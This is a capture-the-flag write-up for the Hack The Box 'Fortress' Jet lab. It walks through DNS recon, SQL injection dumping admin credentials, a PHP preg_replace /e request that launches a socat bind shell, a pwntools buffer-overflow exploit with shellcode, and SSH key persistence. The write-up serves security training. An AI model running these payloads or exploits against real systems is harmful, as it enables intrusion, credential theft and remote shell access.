Hack The Box - Writeup

Fortress

Patrick Hener

January 11, 2019

Table of Content

Recon

nmap

Nmap spits out a few tcp ports.

Port	Service
22/tcp	ssh
53/tcp	dns
80/tcp	nginx
5555/tcp	freeciv?
7777/tcp	cbt?
9201/tcp	BaseHTTPServer (python)
600002/tcp	unknown?

Flag "Connect"

You will find that flag by just looking at nginx default page at port 80.

`JET{s4n1ty_ch3ck}`

Flag "Digging in..."

By using `dig` you can get the hostname associated with the given ip address:

```
--- ~ » dig -x 10.13.37.10 @10.13.37.10

; <<>> DiG 9.13.5 <<>> -x 10.13.37.10 @10.13.37.10
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 60882
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;10.37.13.10.in-addr.arpa.  IN  PTR

;; AUTHORITY SECTION:
```

```
37.13.10.in-addr.arpa.  604800  IN  SOA www.securewebinc.jet.
    ↪ securewebinc.jet. 3 604800 86400 2419200 604800

;; Query time: 96 msec
;; SERVER: 10.13.37.10#53(10.13.37.10)
;; WHEN: Thu Jan 10 15:34:47 CET 2019
;; MSG SIZE  rcvd: 109
```

Writing them to your hosts file you can browse to the webpage `http://www.securewebinc.jet/` where you will find the flag.

`JET{w3lc0me_4nd_h@v3_fun!}`

Flag “Bypassing Authentication”

From reading the source of the webpage at `http://www.securewebinc.jet` you will find a link to a custom javascript file called `secure.js`

```
eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,103,101,116,83,116,97,116,115,40,4
```

Decoding this file you will get

```
function getStats()
{
    $.ajax({url: "/dirb_safe_dir_rf9EmcEIx/admin/stats.php",

        success: function(result){
        $('#attacks').html(result)
    },
    error: function(result){
         console.log(result);
    }});
}
getStats();
setInterval(function(){ getStats(); }, 10000);
```

This is leaking a path as you can see.

You will get a login at `http://www.securewebinc.jet/dirb_safe_dir_rf9EmcEIx/admin/login.php`

The parameter `username` of the post login is prone to different SQL-Injection methods. Leveraging sqlmap you will be able to retrieve the following information:

```
Database: jetadmin
Table: users
[1 entry]
+----+----------+------------------------------------------------------------------+
| id | username | password                                                         |
+----+----------+------------------------------------------------------------------+
| 1  | admin    | 97114847aa12500d04c0ef3aa6ca1dfd8fca7f156eeb864ab9b0445b235d5084 |
+----+----------+------------------------------------------------------------------+
```

Using crackstation on that hash will reveal it is `Hackthesystem200` in plain text. So the credentials are `admin:Hackthesystem200`.

In the Chat window you will find the flag: `JET{sQl_1nj3ct1ons_4r3_fun!}`

Flag "Going Deeper"

Looking at the resulting login page of the previous step you will find a comment in `login.php` saying:

`<!-- JET{s3cur3_js_w4s_not_s0_s3cur3_4ft3r4ll} -->`

Flag "Command"

Using the applications mail function you can exploit a preg_replace call. The mail function wants to replace bad words. So using burp and altering the request to this you can instert arbitrary system commands:

```
earwords[/fuck/e]=system("/tmp/socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane")&swearwords[/shit/i]=poop&swearwords[/ass/i]=
person&to=a@a.com&subject=test&message=<p>fuck<br></p>&_wysihtml5_mode=1
```

As you can see I transfered `socat` as always and issued a bind shell.

```
www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$ whoami
www-data
www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$ ls
a_flag_is_here.txt  auth.php  badwords.txt  bower_components  build  conf.php  dashboard.php  db.php  dist  dologin.php  email.php  index.php  js  login.php  logout.php  plugins  stats.php  uploads
```

```
www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$
www-data@jet:~/html/dirb_safe_dir_rf9EmcEIx/admin$ cat a_flag_is_here.txt
JET{pr3g_r3pl4c3_g3ts_y0u_pwn3d}
```

Flag “Elasticity”

You will find enumerating, that the service at port 9201 is also a webserver. By error messages using curl you will be able to find the url `http://10.13.37.10:9201/search?category=`

It expects a category. Using the word `admin` it will reveal a message.

```
[{"category": "admin", "body": "Hey Rob - just so you know, that
    ↪ information you wanted has been sent.", "timestamp": "2017-11-13
    ↪ 08:31", "subject": "Just a heads up Rob"}, {"category": "admin",
    ↪ "body": "Thanks dude - all done. You can delete our little secret.
    ↪ Kind regards, Rob", "timestamp": "2017-11-13 13:40", "subject":
    ↪ "Thanks Jazz"}]
```

So if you insert `admin` as unicode escaped string `\u0061\u0064\u006d\u0069\u006e` you’ll get the same message.

If you insert `'` as escaped character there will be an error message.

Basic SQLi is leaking the flag. User `admin' || '1'=='1` as encoded payload and you will get:

```
[{"category": "admin", "body": "Hey Rob - just so you know, that
    ↪ information you wanted has been sent.", "timestamp": "2017-11-13
    ↪ 08:31", "subject": "Just a heads up Rob"}, {"category":
    ↪ "maintenance", "body": "Performance to our API has been reduced for
    ↪ a period of 3 hours. Services have been distributed across numerous
    ↪ suppliers, in order to reduce any future potential impact of another
    ↪ outage, as experienced yesterday", "timestamp": "2017-11-10 07:00",
    ↪ "subject": "Maintenance"}, {"category": "admin", "body": "Hey Rob,
    ↪ you asked for the password to the EU-API-7 instance. You didn not
    ↪ want me to send it on Slack, so I am putting it in here as a draft
    ↪ document. Delete this once you have copied the message, and don
    ↪ _NOT_ tell _ANYONE_. We need a better way of sharing secrets. The
    ↪ password is purpl3un1c0rn_1969. -Jason
    ↪ JET{3sc4p3_s3qu3nc3s_4r3_fun}", "timestamp": "2017-11-13 08:30",
    ↪ "subject": "Details for upgrades to EU-API-7"}, {"category":
    ↪ "Maintenance", "body": "All upgrades are complete, and normal
↪ service resumed", "timestamp": "2017-11-13 13:32", "subject":
↪ "Upgrades complete"}, {"category": "outage", "body": "Due to an
↪ outage in one of our suppliers, services were unavailable for
↪ approximately 8 hours. This has now been resolved, and normal
↪ service resumed", "timestamp": "2017-11-09 15:13", "subject":
↪ "Server outage"}, {"category": "admin", "body": "Thanks dude - all
↪ done. You can delete our little secret. Kind regards, Rob",
↪ "timestamp": "2017-11-13 13:40", "subject": "Thanks Jazz"},
↪ {"category": "maintenance", "body": "An unscheduled maintenance
↪ period will occur at 12:00 today for approximately 1 hour. During
↪ this period, response times will be reduced while services have
↪ critical patches applied to them across all suppliers and
↪ instances", "timestamp": "2017-11-13 08:27", "subject": "Upgrades"}]
```

`JET{3sc4p3_s3qu3nc3s_4r3_fun}`

Flag “Overflown”

The file `/home/leak` is no directory, but a binary.

```
www-data@jet:/home$ file leak
leak: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
    ↪ dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for
    ↪ GNU/Linux 2.6.32,
    ↪ BuildID[sha1]=e423d25f1c41c318a8f5702f93b8e3f47273256a, not stripped
```

It will serve the service at port 60002 refering to `ps`

```
www-data@jet:/home$ ps aux | grep leak
www-data  69163  0.0  0.0  11288   876 pts/4    S+   06:09   0:00 grep leak
www-data  94397  0.0  0.0  24364  2896 ?        S    Jan08   0:00 socat
    ↪ TCP4-LISTEN:60002,reuseaddr,fork EXEC:/home/leak
```

So let’s transfer it to our host first.

It has a buffer size of 72. Is an easy 64bit executable stack Bof.

With this script using pwntools you will be able to exploit it lcoally.

```
www-data@jet:/tmp$ cat sploit_leak.py
from pwn import *
```

```

p = process("/home/leak")
p.recvuntil("leaking! ")
addr = int(p.recvuntil("\n"),16)
p.recvuntil(">")

#shellcode = asm(shellcraft.execve("/bin/bash"))
shellcode="\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\x

p.sendline(shellcode + "\x90"*(72 - len(shellcode)) + p64(addr))
p.interactive()
```

The results are as follows

```
www-data@jet:/tmp$ python sploit_leak.py
[+] Starting local process '/home/leak': pid 72006
[*] Switching to interactive mode
 $ id
uid=33(www-data) gid=33(www-data) euid=1005(alex) groups=33(www-data)
$ ls -la
total 448
drwxrwxrwt 12 root          root          4096 Jan 11 08:39 .
drwxr-xr-x 23 root          root          4096 Apr  1  2018 ..
drwxrwxrwt  2 root          root          4096 Jan  4 14:26 .ICE-unix
drwxrwxrwt  2 root          root          4096 Jan  4 14:26 .Test-unix
drwxrwxrwt  2 root          root          4096 Jan  4 14:26 .X11-unix
drwxrwxrwt  2 root          root          4096 Jan  4 14:26 .XIM-unix
drwxrwxrwx  2 www-data      www-data      4096 Jan 11 07:13 .de
drwxrwxrwt  2 root          root          4096 Jan  4 14:26 .font-unix
prw-r--r--  1 membermanager membermanager    0 Jan 10 07:16 f
prw-r--r--  1 www-data      www-data         0 Jan 10 20:20 f2
drwxr-xr-x  2 elasticsearch elasticsearch 4096 Jan  4 14:26 hsperfdata_elasticsearch
drwxr-xr-x  2 elasticsearch elasticsearch 4096 Jan  4 14:26 jna--1985354563
-rw-r--r--  1 www-data      www-data     25304 Jan  4 16:46 linuxprivchecker.py
-rwxrwxrwx  1 www-data      www-data    375176 Apr 30  2018 socat
-rw-r--r--  1 www-data      www-data       381 Jan  4 16:30 sploit_leak.py
drwx------  3 root          root          4096 Jan  4 14:26 systemd-private-49510f9d52e947b6838d7e3fb82d1ed9-systemd-timesyncd.service-4ZB1or
drwx------  2 root          root          4096 Jan  4 14:26 vmware-root
$ cd /home/alex
$ ls -la
total 48
drwxrwx--- 4 alex alex     4096 Jan  9 08:10 .
drwxr-xr-x 8 root root     4096 Apr  1  2018 ..
-rw-r--r-- 1 root root        0 Dec 28  2017 .bash_history
-rwxrwx--- 1 alex alex      220 Dec 27  2017 .bash_logout
-rwxrwx--- 1 alex alex     3771 Dec 27  2017 .bashrc
drwx------ 2 alex alex     4096 Jan  4 18:56 .cache
-rwxrwx--- 1 alex alex      655 Dec 27  2017 .profile
drwxr-xr-x 2 alex www-data 4096 Jan  4 16:57 .ssh
-rw-r--r-- 1 root root      659 Jan  3  2018 crypter.py
-rw-r--r-- 1 root root     1481 Dec 28  2017 encrypted.txt
-rw-r--r-- 1 root root     7285 Dec 27  2017 exploitme.zip
-rw-r--r-- 1 root root       27 Dec 28  2017 flag.txt
$ cat flag.txt
JET{0v3rfL0w_f0r_73h_lulz}
```

You echo a publik gpg key to `/home/alex/.ssh/authorized_keys` and can now logon via ssh.

flag "?"

In Alex home folder there are a few files Copy over the `crypter.py` the `encrypted.txt` message and the `exploitme.zip`. The zip contains the membermanager which is running on another port. Will be handy to look at this binary. But first we have to find the password for the zip, as rockyou will not beat the password. There still is the crypter.py which describes, how a `message.txt` was encrypted to `encrypted.txt` using a key and `xor`. Using `xortool` you can brute force some plain text. `securewebincrocks` is what can be read from trying to brute the encryption. So let's rewrite the script to decrypt and try using this as key.

In fact we do not need to rewrite that. Using the `encrypted.txt` as input and just xor'ing again with the same key will decrypt the message just fine.

```
Hello mate!

First of all an important finding regarding our website: Login is prone to
    ↪ SQL injection! Ask the developers to fix it asap!

Regarding your training material, I added the two binaries for the remote
    ↪ exploitation training in exploitme.zip. The password is the same we
    ↪ use to encrypt our communications.
Make sure those binaries are kept safe!
```

```

To make your life easier I have already spawned instances of the vulnerable binaries listening on our server.

The ports are 5555 and 7777.
Have fun and keep it safe!

JET{r3p3at1ng_ch4rs_1n_s1mpl3_x0r_g3ts_y0u_0wn3d}


Cheers - Alex

-----------------------------------------------------------------------------
This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately by e-mail if you have received this e-mail by mistake and delete this e-mail from your system. If you are not the intended recipient you are notified that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited.
-----------------------------------------------------------------------------
```